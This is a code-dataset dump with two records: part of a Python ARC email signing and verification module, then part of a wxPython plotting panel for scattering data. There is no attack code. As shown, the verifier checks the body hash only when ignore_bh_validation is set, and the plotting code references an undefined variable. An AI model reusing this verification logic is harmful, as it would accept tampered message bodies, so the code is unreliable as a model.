Regex to extract i= value from ARC headers\n INSTANCE_RE = re.compile(br'[\\s;]?i\\s*=\\s*(\\d+)', re.MULTILINE | re.IGNORECASE)\n\n #: Create an ARC instance to sign and verify rfc5322 messages.\n #:\n #: @param message: an RFC822 formatted message to be signed or verified\n #: (with either \\\\n or \\\\r\\\\n line endings)\n #: @param logger: a logger to which debug info will be written (default None)\n #: @param signature_algorithm: the signing algorithm to use when signing\n #: @param minkey: the minimum key size to accept\n def __init__(self,message=None,logger=None,signature_algorithm=b'rsa-sha256',\n minkey=1024):\n self.set_message(message)\n if logger is None:\n logger = get_default_logger()\n self.logger = logger\n if signature_algorithm not in HASH_ALGORITHMS:\n raise ParameterError(\n \"Unsupported signature algorithm: \"+signature_algorithm)\n self.signature_algorithm = signature_algorithm\n #: Header fields which should be signed. Default from RFC4871\n self.should_sign = set(DKIM.SHOULD)\n #: Header fields which should not be signed. The default is from RFC4871.\n #: Attempting to sign these headers results in an exception.\n #: If it is necessary to sign one of these, it must be removed\n #: from this list first.\n self.should_not_sign = set(DKIM.SHOULD_NOT)\n #: Header fields to sign an extra time to prevent additions.\n self.frozen_sign = set(DKIM.FROZEN)\n #: Minimum public key size. Shorter keys raise KeyFormatError. The\n #: default is 1024\n self.minkey = minkey\n\n def add_frozen(self,s):\n \"\"\" Add headers not in should_not_sign to frozen_sign.\n @param s: list of headers to add to frozen_sign\n\n >>> arc = ARC()\n >>> arc.add_frozen(DKIM.RFC5322_SINGLETON)\n >>> [text(x) for x in sorted(arc.frozen_sign)]\n ['cc', 'date', 'from', 'in-reply-to', 'message-id', 'references', 'reply-to', 'sender', 'subject', 'to']\n \"\"\"\n self.frozen_sign.update(x.lower() for x in s\n if x.lower() not in self.should_not_sign)\n\n #: Load a new message to be signed or verified.\n #: @param message: an RFC822 formatted message to be signed or verified\n #: (with either \\\\n or \\\\r\\\\n line endings)\n def set_message(self,message):\n if message:\n self.headers, self.body = rfc822_parse(message)\n else:\n self.headers, self.body = [],''\n\n def default_sign_headers(self):\n \"\"\"Return the default list of headers to sign: those in should_sign or\n frozen_sign, with those in frozen_sign signed an extra time to prevent\n additions.\"\"\"\n hset = self.should_sign | self.frozen_sign\n include_headers = [ x for x,y in self.headers\n if x.lower() in hset ]\n return include_headers + [ x for x in include_headers\n if x.lower() in self.frozen_sign]\n\n def all_sign_headers(self):\n \"\"\"Return header list of all existing headers not in should_not_sign.\n @since: 0.5\"\"\"\n return [x for x,y in self.headers if x.lower() not in self.should_not_sign]\n\n def sorted_arc_headers(self):\n headers = []\n # Use relaxed canonicalization to unfold and clean up headers\n relaxed_headers = Relaxed.canonicalize_headers(self.headers)\n for x,y in relaxed_headers:\n if x.lower() in ARC.ARC_HEADERS:\n m = ARC.INSTANCE_RE.search(y)\n if m is not None:\n try:\n i = int(m.group(1))\n headers.append((i, (x, y)))\n except ValueError:\n self.logger.debug(\"invalid instance number %s: '%s: %s'\" % (m.group(1), x, y))\n else:\n self.logger.debug(\"not instance number: '%s: %s'\" % (x, y))\n\n if len(headers) == 0:\n return 0, []\n\n def arc_header_key(a):\n return [a[0], a[1][0].lower(), a[1][1].lower()]\n\n headers = sorted(headers, key=arc_header_key)\n headers.reverse()\n return headers[0][0], headers\n\n #: Sign an RFC822 message and return the list of ARC set header lines\n #:\n #: The include_headers option gives full control over which header fields\n #: are signed for the ARC-Message-Signature. Note that signing a header\n #: field that doesn't exist prevents\n #: that field from being added without breaking the signature. Repeated\n #: fields (such as Received) can be signed multiple times. Instances\n #: of the field are signed from bottom to top. Signing a header field more\n #: times than are currently present prevents additional instances\n #: from being added without breaking the signature.\n #:\n #: The default include_headers for this method differs from the backward\n #: compatible sign function, which signs all headers not\n #: in should_not_sign. The default list for this method can be modified\n #: by tweaking should_sign and frozen_sign (or even should_not_sign).\n #: It is only necessary to pass an include_headers list when precise control\n #: is needed.\n #:\n #: @param selector: the DKIM selector value for the signature\n #: @param domain: the DKIM domain value for the signature\n #: @param privkey: a PKCS#1 private key in base64-encoded text form\n #: @param auth_results: RFC 7601 Authentication-Results header value for the message\n #: @param chain_validation_status: CV_Pass, CV_Fail, CV_None\n #: @param include_headers: a list of strings indicating which headers\n #: are to be signed (default rfc4871 recommended headers)\n #: @return: list of ARC set header fields\n #: @raise ARCException: when the message, include_headers, or key are badly\n #: formed.\n def sign(self, selector, domain, privkey, auth_results, chain_validation_status,\n include_headers=None, timestamp=None, standardize=True):\n try:\n pk = parse_pem_private_key(privkey)\n except UnparsableKeyError as e:\n raise KeyFormatError(str(e))\n\n canon_policy = CanonicalizationPolicy.from_c_value(b'relaxed/relaxed')\n canon_headers = canon_policy.canonicalize_headers(self.headers)\n\n max_instance, arc_headers_w_instance = self.sorted_arc_headers()\n instance = 1\n if len(arc_headers_w_instance) != 0:\n instance = max_instance + 1\n\n arc_headers = [y for x,y in arc_headers_w_instance]\n\n if instance == 1 and chain_validation_status != CV_None:\n raise ParameterError(\"No existing chain found on message, cv should be none\")\n elif instance != 1 and chain_validation_status == CV_None:\n raise ParameterError(\"cv=none not allowed on instance %d\" % instance)\n\n new_arc_set = []\n\n aar_value = b\"i=%d; %s\" % (instance, auth_results)\n if aar_value[-1] != b'\\n': aar_value += b'\\r\\n'\n new_arc_set.append(b\"ARC-Authentication-Results: \" + aar_value)\n self.headers.insert(0, (b\"arc-authentication-results\", aar_value))\n arc_headers.insert(0, (b\"ARC-Authentication-Results\", aar_value))\n\n # Compute ARC-Message-Signature\n\n canon_policy = CanonicalizationPolicy.from_c_value(b'relaxed/relaxed')\n headers = canon_policy.canonicalize_headers(self.headers)\n\n if include_headers is None:\n include_headers = self.default_sign_headers()\n\n # rfc4871 says FROM is required\n if b'from' not in ( x.lower() for x in include_headers ):\n raise ParameterError(\"The From header field MUST be signed\")\n\n if b'arc-authentication-results' not in ( x.lower() for x in include_headers ):\n include_headers.append(b'arc-authentication-results')\n\n # raise exception for any SHOULD_NOT headers, call can modify\n # SHOULD_NOT if really needed.\n for x in include_headers:\n if x.lower() in self.should_not_sign:\n raise ParameterError(\"The %s header field SHOULD NOT be signed\"%x)\n\n hasher = HASH_ALGORITHMS[self.signature_algorithm]\n h = HashThrough(hasher())\n h.update(canon_policy.canonicalize_body(self.body))\n self.logger.debug(\"sign ams body hashed: %r\" % h.hashed())\n bodyhash = base64.b64encode(h.digest())\n\n timestamp = str(timestamp or int(time.time())).encode('ascii')\n\n ams_fields = [x for x in [\n (b'i', str(instance).encode('ascii')),\n (b'a', self.signature_algorithm),\n (b'd', domain),\n (b's', selector),\n (b't', timestamp),\n (b'h', b\" : \".join(include_headers)),\n (b'bh', bodyhash),\n # Force b= to fold onto it's own line so that refolding after\n # adding sig doesn't change whitespace for previous tags.\n (b'b', b'0'*60),\n ] if x]\n\n if standardize:\n ams_fields = [(x,y.lower().replace(b' ', b'')) for (x,y) in ams_fields]\n idx = [i for i in range(len(ams_fields)) if ams_fields[i][0] == b'bh'][0]\n ams_fields[idx] = (b'bh', bodyhash.replace(b' ', b''))\n ams_fields = sorted(ams_fields, key=(lambda x: x[0]))\n\n include_headers = [x.lower() for x in include_headers]\n # record what verify should extract\n self.include_headers = tuple(include_headers)\n\n ams_value = b\"; \".join(b\"=\".join(x) for x in ams_fields)\n ams_value = RE_BTAG.sub(b'\\\\1',ams_value)\n ams_header = (b'ARC-Message-Signature', b' ' + ams_value)\n h = HashThrough(hasher())\n sig = dict(ams_fields)\n self.signed_headers = hash_headers(\n h, canon_policy, headers, include_headers, ams_header,sig)\n self.logger.debug(\"sign ams headers: %r\" % self.signed_headers)\n self.logger.debug(\"sign ams hashed: %r\" % h.hashed())\n\n try:\n sig2 = RSASSA_PKCS1_v1_5_sign(h, pk)\n except DigestTooLargeError:\n raise ParameterError(\"digest too large for modulus\")\n # Folding b= is explicity allowed, but yahoo and live.com are broken\n #ams_value += base64.b64encode(bytes(sig2))\n # Instead of leaving unfolded (which lets an MTA fold it later and still\n # breaks yahoo and live.com), we change the default signing mode to\n # relaxed/simple (for broken receivers), and fold now.\n idx = [i for i in range(len(ams_fields)) if ams_fields[i][0] == b'b'][0]\n ams_fields[idx] = (b'b', base64.b64encode(bytes(sig2)))\n ams_value = b\"; \".join(b\"=\".join(x) for x in ams_fields) + b\"\\r\\n\"\n if not standardize:\n ams_value = fold(ams_value)\n\n new_arc_set.append(b\"ARC-Message-Signature: \" + ams_value)\n self.headers.insert(0, (b\"ARC-Message-Signature\", ams_value))\n arc_headers.insert(0, (b\"ARC-Message-Signature\", ams_value))\n\n # Compute ARC-Seal\n\n as_fields = [x for x in [\n (b'i', str(instance).encode('ascii')),\n (b'cv', chain_validation_status),\n (b'a', self.signature_algorithm),\n (b'd', domain),\n (b's', selector),\n (b't', timestamp),\n # Force b= to fold onto it's own line so that refolding after\n # adding sig doesn't change whitespace for previous tags.\n (b'b', b'0'*60),\n ] if x]\n\n if standardize:\n as_fields = [(x,y.lower().replace(b' ', b'')) for (x,y) in as_fields]\n as_fields = sorted(as_fields, key=(lambda x: x[0]))\n\n as_include_headers = [x[0].lower() for x in arc_headers]\n as_include_headers.reverse()\n as_headers = canon_policy.canonicalize_headers(arc_headers)\n\n as_value = b\"; \".join(b\"=\".join(x) for x in as_fields)\n as_value = RE_BTAG.sub(b'\\\\1',as_value)\n as_header = (b'ARC-Seal', b' ' + as_value)\n h = HashThrough(hasher())\n sig = dict(as_fields)\n as_signed_headers = hash_headers(\n h, canon_policy, as_headers, as_include_headers, as_header,sig)\n self.logger.debug(\"sign arc-seal headers: %r\" % as_signed_headers)\n self.logger.debug(\"sign arc-seal hashed: %r\" % h.hashed())\n\n try:\n sig2 = RSASSA_PKCS1_v1_5_sign(h, pk)\n except DigestTooLargeError:\n raise ParameterError(\"digest too large for modulus\")\n # Folding b= is explicity allowed, but yahoo and live.com are broken\n #as_value += base64.b64encode(bytes(sig2))\n # Instead of leaving unfolded (which lets an MTA fold it later and still\n # breaks yahoo and live.com), we change the default signing mode to\n # relaxed/simple (for broken receivers), and fold now.\n idx = [i for i in range(len(as_fields)) if as_fields[i][0] == b'b'][0]\n as_fields[idx] = (b'b', base64.b64encode(bytes(sig2)))\n as_value = b\"; \".join(b\"=\".join(x) for x in as_fields) + b\"\\r\\n\"\n if not standardize:\n ams_value = fold(ams_value)\n\n new_arc_set.append(b\"ARC-Seal: \" + as_value)\n self.headers.insert(0, (b\"ARC-Seal\", as_value))\n arc_headers.insert(0, (b\"ARC-Seal\", as_value))\n\n new_arc_set.reverse()\n\n return new_arc_set\n\n #: Verify an ARC set.\n #: @type instance: int\n #: @param instance: which ARC set to verify, based on i= instance.\n #: @type dnsfunc: callable\n #: @param dnsfunc: an optional function to lookup TXT resource records\n #: for a DNS domain. The default uses dnspython or pydns.\n #: @return: True if signature verifies or False otherwise\n #: @return: three-tuple of (CV Result (CV_Pass, CV_Fail or CV_None), list of\n #: result dictionaries, result reason)\n #: @raise ARCException: when the message, signature, or key are badly formed\n def verify(self,dnsfunc=get_txt, ignore_bh_validation=False):\n result_data = []\n max_instance, arc_headers_w_instance = self.sorted_arc_headers()\n if max_instance == 0:\n return CV_None, result_data, \"Message is not ARC signed\"\n for instance in range(max_instance, 0, -1):\n try:\n result = self.verify_instance(arc_headers_w_instance, instance, dnsfunc=dnsfunc, ignore_bh_validation=ignore_bh_validation)\n result_data.append(result)\n except ARCException as e:\n self.logger.error(\"%s\" % e)\n return CV_Fail, result_data, \"%s\" % e\n\n # Most recent instance must ams-validate\n if not result_data[0]['ams-valid']:\n return CV_Fail, result_data, \"Most recent ARC-Message-Signature did not validate\"\n for result in result_data:\n if not result['as-valid']:\n return CV_Fail, result_data, \"ARC-Seal[%d] did not validate\" % result['instance']\n if result['cv'] == CV_Fail:\n return CV_Fail, result_data, \"ARC-Seal[%d] reported failure\" % result['instance']\n elif (result['instance'] == 1) and (result['cv'] != CV_None):\n return CV_Fail, result_data, \"ARC-Seal[%d] reported invalid status %s\" % (result['instance'], result['cv'])\n elif (result['instance'] != 1) and (result['cv'] == CV_None):\n return CV_Fail, result_data, \"ARC-Seal[%d] reported invalid status %s\" % (result['instance'], result['cv'])\n return CV_Pass, result_data, \"success\"\n\n def load_pk_from_dns(self, name, dnsfunc=get_txt):\n s = dnsfunc(name)\n if not s:\n raise KeyFormatError(\"missing public key: %s\"%name)\n try:\n if type(s) is str:\n s = s.encode('ascii')\n pub = parse_tag_value(s)\n except InvalidTagValueList as e:\n raise KeyFormatError(e)\n try:\n pk = parse_public_key(base64.b64decode(pub[b'p']))\n keysize = bitsize(pk['modulus'])\n except KeyError:\n raise KeyFormatError(\"incomplete public key: %s\" % s)\n except (TypeError,UnparsableKeyError) as e:\n raise KeyFormatError(\"could not parse public key (%s): %s\" % (pub[b'p'],e))\n return pk, keysize\n\n #: Verify an ARC set.\n #: @type arc_headers_w_instance: list\n #: @param arc_headers_w_instance: list of tuples, (instance, (name, value)) of\n #: ARC headers\n #: @type instance: int\n #: @param instance: which ARC set to verify, based on i= instance.\n #: @type dnsfunc: callable\n #: @param dnsfunc: an optional function to lookup TXT resource records\n #: for a DNS domain. The default uses dnspython or pydns.\n #: @return: True if signature verifies or False otherwise\n #: @raise ARCException: when the message, signature, or key are badly formed\n def verify_instance(self,arc_headers_w_instance,instance,dnsfunc=get_txt, ignore_bh_validation=False):\n if (instance == 0) or (len(arc_headers_w_instance) == 0):\n raise ParameterError(\"request to verify instance %d not present\" % (instance))\n\n aar_value = None\n ams_value = None\n as_value = None\n arc_headers = []\n output = { 'instance': instance }\n\n for i, arc_header in arc_headers_w_instance:\n if i > instance: continue\n arc_headers.append(arc_header)\n if i == instance:\n if arc_header[0].lower() == b\"arc-authentication-results\":\n if aar_value is not None:\n raise MessageFormatError(\"Duplicate ARC-Authentication-Results for instance %d\" % instance)\n aar_value = arc_header[1]\n elif arc_header[0].lower() == b\"arc-message-signature\":\n if ams_value is not None:\n raise MessageFormatError(\"Duplicate ARC-Message-Signature for instance %d\" % instance)\n ams_value = arc_header[1]\n elif arc_header[0].lower() == b\"arc-seal\":\n if as_value is not None:\n raise MessageFormatError(\"Duplicate ARC-Seal for instance %d\" % instance)\n as_value = arc_header[1]\n\n if (aar_value is None) or (ams_value is None) or (as_value is None):\n raise MessageFormatError(\"Incomplete ARC set for instance %d\" % instance)\n\n output['aar-value'] = aar_value\n\n # Validate Arc-Message-Signature\n try:\n sig = parse_tag_value(ams_value)\n except InvalidTagValueList as e:\n raise MessageFormatError(e)\n\n logger = self.logger\n logger.debug(\"ams sig[%d]: %r\" % (instance, sig))\n\n validate_arc_signature_fields(sig)\n output['ams-domain'] = sig[b'd']\n output['ams-selector'] = sig[b's']\n\n ams_c = sig.get(b'c', b'relaxed/relaxed')\n\n canon_policy = CanonicalizationPolicy.from_c_value(ams_c)\n\n # TODO(blong): only hash the body once per algorithm\n try:\n hasher = HASH_ALGORITHMS[sig[b'a']]\n except KeyError as e:\n raise MessageFormatError(\"unknown signature algorithm: %s\" % e.args[0])\n\n h = HashThrough(hasher())\n h.update(canon_policy.canonicalize_body(self.body))\n logger.debug(\"ams body hashed: %r\" % h.hashed())\n bodyhash = h.digest()\n logger.debug(\"bh: %s\" % base64.b64encode(bodyhash))\n try:\n bh = base64.b64decode(re.sub(br\"\\s+\", b\"\", sig[b'bh']))\n except TypeError as e:\n raise MessageFormatError(str(e))\n if ignore_bh_validation:\n if bodyhash != bh:\n raise ValidationError(\n \"body hash mismatch (got %s, expected %s)\" %\n (base64.b64encode(bodyhash), sig[b'bh']))\n\n name = sig[b's'] + b\"._domainkey.\" + sig[b'd'] + b\".\"\n pk, keysize = self.load_pk_from_dns(name, dnsfunc)\n output['ams-keysize'] = keysize\n include_headers = [x.lower() for x in re.split(br\"\\s*:\\s*\", sig[b'h'])]\n # address bug#644046 by including any additional From header\n # fields when verifying. Since there should be only one From header,\n # this shouldn't break any legitimate messages. This could be\n # generalized to check for extras of other singleton headers.\n if b'from' in include_headers:\n include_headers.append(b'from')\n h = HashThrough(hasher())\n ams_header = (b'ARC-Message-Signature', b' ' + ams_value)\n canon_headers = canon_policy.canonicalize_headers(self.headers)\n hash_headers(h, canon_policy, canon_headers, include_headers, ams_header, sig)\n logger.debug(\"ams hashed: %r\" % h.hashed())\n ams_valid = False\n try:\n signature = base64.b64decode(re.sub(br\"\\s+\", b\"\", sig[b'b']))\n ams_valid = RSASSA_PKCS1_v1_5_verify(h, signature, pk)\n if ams_valid and keysize < self.minkey:\n raise KeyFormatError(\"public key too small: %d\" % keysize)\n except (TypeError,DigestTooLargeError) as e:\n raise KeyFormatError(\"digest too large for modulus: %s\"%e)\n output['ams-valid'] = ams_valid\n logger.debug(\"ams valid: %r\" % ams_valid)\n\n # Validate Arc-Seal\n try:\n sig = parse_tag_value(as_value)\n except InvalidTagValueList as e:\n raise MessageFormatError(e)\n\n logger.debug(\"as sig[%d]: %r\" % (instance, sig))\n\n validate_arc_seal_fields(sig)\n output['as-domain'] = sig[b'd']\n output['as-selector'] = sig[b's']\n output['cv'] = sig[b'cv']\n\n try:\n hasher = HASH_ALGORITHMS[sig[b'a']]\n except KeyError as e:\n raise MessageFormatError(\"unknown signature algorithm: %s\" % e.args[0])\n\n name = sig[b's'] + b\"._domainkey.\" + sig[b'd'] + b\".\"\n pk, keysize = self.load_pk_from_dns(name, dnsfunc)\n output['as-keysize'] = keysize\n as_include_headers = [x[0].lower() for x in arc_headers]\n as_include_headers.reverse()\n as_header = (b'ARC-Seal', b' ' + as_value)\n h = HashThrough(hasher())\n canon_policy = CanonicalizationPolicy.from_c_value(b'relaxed/relaxed')\n canon_arc_headers = canon_policy.canonicalize_headers(arc_headers)\n signed_headers = hash_headers(\n h, canon_policy, canon_arc_headers, as_include_headers[:-1], as_header, sig)\n logger.debug(\"as hashed: %r\" % h.hashed())\n as_valid = False\n try:\n signature = base64.b64decode(re.sub(br\"\\s+\", b\"\", sig[b'b']))\n as_valid = RSASSA_PKCS1_v1_5_verify(h, signature, pk)\n if as_valid and keysize < self.minkey:\n raise KeyFormatError(\"public key too small: %d\" % keysize)\n except (TypeError,DigestTooLargeError) as e:\n raise KeyFormatError(\"digest too large for modulus: %s\"%e)\n output['as-valid'] = as_valid\n logger.debug(\"as valid: %r\" % as_valid)\n return output\n\ndef sign(message, selector, domain, privkey,\n auth_results, chain_validation_status,\n signature_algorithm=b'rsa-sha256',\n include_headers=None, timestamp=None,\n logger=None):\n \"\"\"Sign an RFC822 message and return the ARC set header lines for the next instance\n @param message: an RFC822 formatted message (with either \\\\n or \\\\r\\\\n line endings)\n @param selector: the DKIM selector value for the signature\n @param domain: the DKIM domain value for the signature\n @param privkey: a PKCS#1 private key in base64-encoded text form\n @param auth_results: the RFC 7601 authentication-results header field value for this instance\n @param chain_validation_status: the validation status of the existing chain on the message (P (pass), F (fail)) or N (none) for no existing chain\n @param signature_algorithm: the signing algorithm to use when signing\n @param include_headers: a list of strings indicating which headers are to be signed (default all headers not listed as SHOULD NOT sign)\n @param logger: a logger to which debug info will be written (default None)\n @param timestamp: a forced timestamp for testing purposes (default None)\n @return: A list containing the ARC set of header fields for the next instance\n @raise ARCException: when the message, include_headers, or key are badly formed.\n \"\"\"\n a = ARC(message,logger=logger,signature_algorithm=signature_algorithm)\n if not include_headers:\n include_headers = a.default_sign_headers()\n\n return a.sign(selector, domain, privkey, auth_results, chain_validation_status, include_headers=include_headers, timestamp=timestamp)\n\ndef verify(message, logger=None, dnsfunc=get_txt, minkey=1024):\n \"\"\"Verify the ARC chain on an RFC822 formatted message.\n @param message: an RFC822 formatted message (with either \\\\n or \\\\r\\\\n line endings)\n @param logger: a logger to which debug info will be written (default None)\n @param dnsfunc: an optional function to lookup TXT resource records\n @param minkey: the minimum key size to accept\n @return: three-tuple of (CV Result (CV_Pass, CV_Fail or CV_None), list of\n result dictionaries, result reason)\n \"\"\"\n a = ARC(message,logger=logger,minkey=minkey)\n try:\n return a.verify(dnsfunc=dnsfunc)\n except ARCException as x:\n if logger is not None:\n logger.error(\"%s\" % x)\n return CV_Fail, [], \"%s\" % x\n","sub_path":"arc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":29109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"579592969","text":"################################################################################\n# This software was developed by the University of Tennessee as part of the\n# Distributed Data Analysis of Neutron Scattering Experiments (DANSE)\n# project funded by the US National Science Foundation.\n#\n# See the license text in license.txt\n#\n# copyright 2008, University of Tennessee\n################################################################################\n\n\nimport wx\nimport sys\nimport math\nimport numpy as np\nimport logging\nfrom sas.sasgui.plottools.PlotPanel import PlotPanel\nfrom sas.sasgui.guiframe.events import StatusEvent\nfrom sas.sasgui.guiframe.events import PanelOnFocusEvent\nfrom sas.sasgui.guiframe.utils import PanelMenu, IdList\nfrom sas.sasgui.guiframe.panel_base import PanelBase\nfrom sas.sasgui.guiframe.gui_style import GUIFRAME_ICON\nfrom appearanceDialog import appearanceDialog\nfrom graphAppearance import graphAppearance\n\nlogger = logging.getLogger(__name__)\n\nDEFAULT_QMAX = 0.05\nDEFAULT_QSTEP = 0.001\nDEFAULT_BEAM = 0.005\nBIN_WIDTH = 1\nIS_MAC = (sys.platform == 'darwin')\n\n\ndef find_key(dic, val):\n \"\"\"return the key of dictionary dic given the value\"\"\"\n return [k for k, v in dic.iteritems() if v == val][0]\n\nclass ModelPanel1D(PlotPanel, PanelBase):\n \"\"\"\n Plot panel for use with the GUI manager\n \"\"\"\n\n ## Internal name for the AUI manager\n window_name = \"plotpanel\"\n ## Title to appear on top of the window\n window_caption = \"Graph\"\n ## Flag to tell the GUI manager that this panel is not\n # tied to any perspective\n ALWAYS_ON = True\n ## Group ID\n group_id = None\n _menu_ids = IdList()\n\n def __init__(self, parent, id=-1, color=None,\n dpi=None, style=wx.NO_FULL_REPAINT_ON_RESIZE, **kwargs):\n PlotPanel.__init__(self, parent, id=id, style=style, **kwargs)\n PanelBase.__init__(self, parent)\n ## Reference to the parent window\n self.parent = parent\n if hasattr(parent, \"parent\"):\n self.parent = self.parent.parent\n ## Plottables\n self.plots = {}\n self.frame = None\n # context menu\n self._slicerpop = None\n self._available_data = []\n self._symbol_labels = self.get_symbol_label()\n self._color_labels = self.get_color_label()\n self.currColorIndex = \"\"\n self._is_changed_legend_label = False\n self.is_xtick = False\n self.is_ytick = False\n\n self.hide_menu = None\n ## Unique ID (from gui_manager)\n self.uid = None\n self.x_size = None\n ## Default locations\n # self._default_save_location = os.getcwd()\n self.size = None\n self.vl_ind = 0\n ## Graph\n # self.graph = Graph()\n self.graph.xaxis(\"\\\\rm{Q}\", 'A^{-1}')\n self.graph.yaxis(\"\\\\rm{Intensity} \", \"cm^{-1}\")\n self.graph.render(self)\n self.cursor_id = None\n\n # In resizing event\n self.resizing = False\n self.canvas.set_resizing(self.resizing)\n self.Bind(wx.EVT_SIZE, self._OnReSize)\n self.parent.SetFocus()\n\n # If true, there are 3 qrange bars\n self.is_corfunc = False\n\n\n def get_symbol_label(self):\n \"\"\"\n Associates label to symbol\n \"\"\"\n _labels = {}\n i = 0\n _labels['Circle'] = i\n i += 1\n _labels['Cross X '] = i\n i += 1\n _labels['Triangle Down'] = i\n i += 1\n _labels['Triangle Up'] = i\n i += 1\n _labels['Triangle Left'] = i\n i += 1\n _labels['Triangle Right'] = i\n i += 1\n _labels['Cross +'] = i\n i += 1\n _labels['Square'] = i\n i += 1\n _labels['diamond'] = i\n i += 1\n _labels['Diamond'] = i\n i += 1\n _labels['Hexagon1'] = i\n i += 1\n _labels['Hexagon2'] = i\n i += 1\n _labels['Pentagon'] = i\n i += 1\n _labels['Line'] = i\n i += 1\n _labels['Dash'] = i\n i += 1\n _labels['Vline'] = i\n i += 1\n _labels['Step'] = i\n return _labels\n\n def get_color_label(self):\n \"\"\"\n Associates label to a specific color\n \"\"\"\n _labels = {}\n i = 0\n _labels['Blue'] = i\n i += 1\n _labels['Green'] = i\n i += 1\n _labels['Red'] = i\n i += 1\n _labels['Cyan'] = i\n i += 1\n _labels['Magenta'] = i\n i += 1\n _labels['Yellow'] = i\n i += 1\n _labels['Black'] = i\n return _labels\n\n\n def set_data(self, list=None):\n \"\"\"\n \"\"\"\n pass\n\n def _reset(self):\n \"\"\"\n Resets internal data and graph\n \"\"\"\n self.graph.reset()\n self.plots = {}\n self.is_zoomed = False\n\n def _OnReSize(self, event):\n \"\"\"\n On response of the resize of a panel, set axes_visiable False\n \"\"\"\n # It was found that wx >= 2.9.3 sends an event even if no size changed.\n # So manually recode the size (=x_size) and compare here.\n # Massy code to work around:<\n if self.parent._mgr is not None:\n max_panel = self.parent._mgr.GetPane(self)\n if max_panel.IsMaximized():\n self.parent._mgr.RestorePane(max_panel)\n max_panel.Maximize()\n if self.x_size is not None:\n if self.x_size == self.GetSize():\n self.resizing = False\n self.canvas.set_resizing(self.resizing)\n return\n self.x_size = self.GetSize()\n\n # Ready for another event\n # Do not remove this Skip. Otherwise it will get runtime error on wx>=2.9.\n event.Skip()\n # set the resizing flag\n self.resizing = True\n self.canvas.set_resizing(self.resizing)\n self.parent.set_schedule(True)\n pos_x, pos_y = self.GetPositionTuple()\n if pos_x != 0 and pos_y != 0:\n self.size, _ = self.GetClientSizeTuple()\n self.SetSizer(self.sizer)\n wx.CallAfter(self.parent.disable_app_menu, self)\n\n def on_plot_qrange(self, event=None):\n \"\"\"\n On Qmin Qmax vertical line event\n \"\"\"\n if event is None:\n return\n event.Skip()\n active_ctrl = event.active\n if active_ctrl is None:\n return\n if hasattr(event, 'is_corfunc'):\n self.is_corfunc = event.is_corfunc\n if event.id in self.plots.keys():\n ctrl = event.ctrl\n self.cursor_id = event.id\n # Set line position and color\n colors = ['red', 'purple']\n x_data = self.plots[self.cursor_id].x\n values = [max(x_data.min(), float(ctrl[0].GetValue())),\n min(x_data.max(), float(ctrl[1].GetValue()))]\n if len(ctrl) == 3:\n colors.append('purple')\n values.append(min(x_data.max(), float(ctrl[2].GetValue())))\n if self.ly is None:\n self.ly = []\n for c, v in zip(colors, values):\n h = self.subplot.axvline(x=v, color=c, lw=2.5, alpha=0.7)\n h.set_rasterized(True)\n self.ly.append(h)\n try:\n # Display x,y in the status bar if possible\n xval = float(active_ctrl.GetValue())\n position = self.get_data_xy_vals(xval)\n if position is not None and not self.is_corfunc:\n wx.PostEvent(self.parent, StatusEvent(status=position))\n except:\n logger.error(sys.exc_value)\n if not event.leftdown:\n # text event\n try:\n is_moved = False\n for h, v in zip(self.ly, values):\n # check if vline moved\n if h.get_xdata() != v:\n h.set_xdata(v)\n is_moved = True\n if is_moved:\n self.canvas.draw()\n except:\n logger.error(sys.exc_value)\n event.Skip()\n return\n self.q_ctrl = ctrl\n for h, c, v in zip(self.ly, colors, values):\n h.set_color(c)\n h.set_xdata(v)\n self.canvas.draw()\n else:\n self.q_ctrl = None\n\n def get_data_xy_vals(self, xval):\n \"\"\"\n Get x, y data values near x = x_val\n \"\"\"\n try:\n x_data = self.plots[self.cursor_id].x\n y_data = self.plots[self.cursor_id].y\n indx = self._find_nearest(x_data, xval)\n pos_x = x_data[indx]\n pos_y = y_data[indx]\n position = str(pos_x), str(pos_y)\n return position\n except:\n return None\n\n def _find_nearest(self, array, value):\n \"\"\"\n Find and return the nearest value in array to the value.\n Used in cusor_line()\n :Param array: numpy array\n :Param value: float\n \"\"\"\n idx = (np.abs(array - value)).argmin()\n return int(idx) # array.flat[idx]\n\n def _check_line_positions(self, pos_x=None, nop=None):\n \"\"\"\n Check vertical line positions\n :Param pos_x: position of the current line [float]\n :Param nop: number of plots [int]\n \"\"\"\n ly = self.ly\n ly0x = ly[0].get_xdata()\n ly1x = ly[1].get_xdata()\n ly2x = None\n if self.is_corfunc: ly2x = ly[2].get_xdata()\n self.q_ctrl[0].SetBackgroundColour('white')\n self.q_ctrl[1].SetBackgroundColour('white')\n if ly0x >= ly1x:\n if self.vl_ind == 0:\n ly[1].set_xdata(pos_x)\n ly[1].set_zorder(nop)\n self.q_ctrl[1].SetValue(str(pos_x))\n self.q_ctrl[0].SetBackgroundColour('pink')\n elif self.vl_ind == 1:\n ly[0].set_xdata(pos_x)\n ly[0].set_zorder(nop)\n self.q_ctrl[0].SetValue(str(pos_x))\n self.q_ctrl[1].SetBackgroundColour('pink')\n elif ly2x is not None and ly1x >= ly2x:\n if self.vl_ind == 1:\n ly[2].set_xdata(posx)\n ly[2].set_zorder(nop)\n self.q_ctrl[2].SetValue(str(pos_x))\n elif self.vl_ind == 2:\n ly[1].set_xdata(posx)\n ly[1].set_zorder(nop)\n self.q_ctrl[1].SetValue(str(pos_x))\n\n\n def _get_cusor_lines(self, event):\n \"\"\"\n Revmove or switch cursor line if drawn\n :Param event: LeftClick mouse event\n \"\"\"\n ax = event.inaxes\n if hasattr(event, \"action\"):\n dclick = event.action == 'dclick'\n if ax is None or dclick:\n # remove the vline\n self._check_zoom_plot()\n self.canvas.draw()\n self.q_ctrl = None\n return\n if self.ly is not None and event.xdata is not None:\n # Selecting a new line if cursor lines are displayed already\n dqmin = math.fabs(event.xdata - self.ly[0].get_xdata())\n dqmax = math.fabs(event.xdata - self.ly[1].get_xdata())\n if not self.is_corfunc:\n is_qmax = dqmin > dqmax\n if is_qmax:\n self.vl_ind = 1\n else:\n self.vl_ind = 0\n else:\n dqmax2 = math.fabs(event.xdata - self.ly[2].get_xdata())\n closest = min(dqmin, dqmax, dqmax2)\n self.vl_ind = { dqmin: 0, dqmax: 1, dqmax2: 2 }.get(closest)\n\n def cusor_line(self, event):\n \"\"\"\n Move the cursor line to write Q range\n \"\"\"\n if self.q_ctrl is None:\n return\n # release a q range vline\n if self.ly is not None and not self.leftdown:\n for ly in self.ly:\n ly.set_alpha(0.7)\n 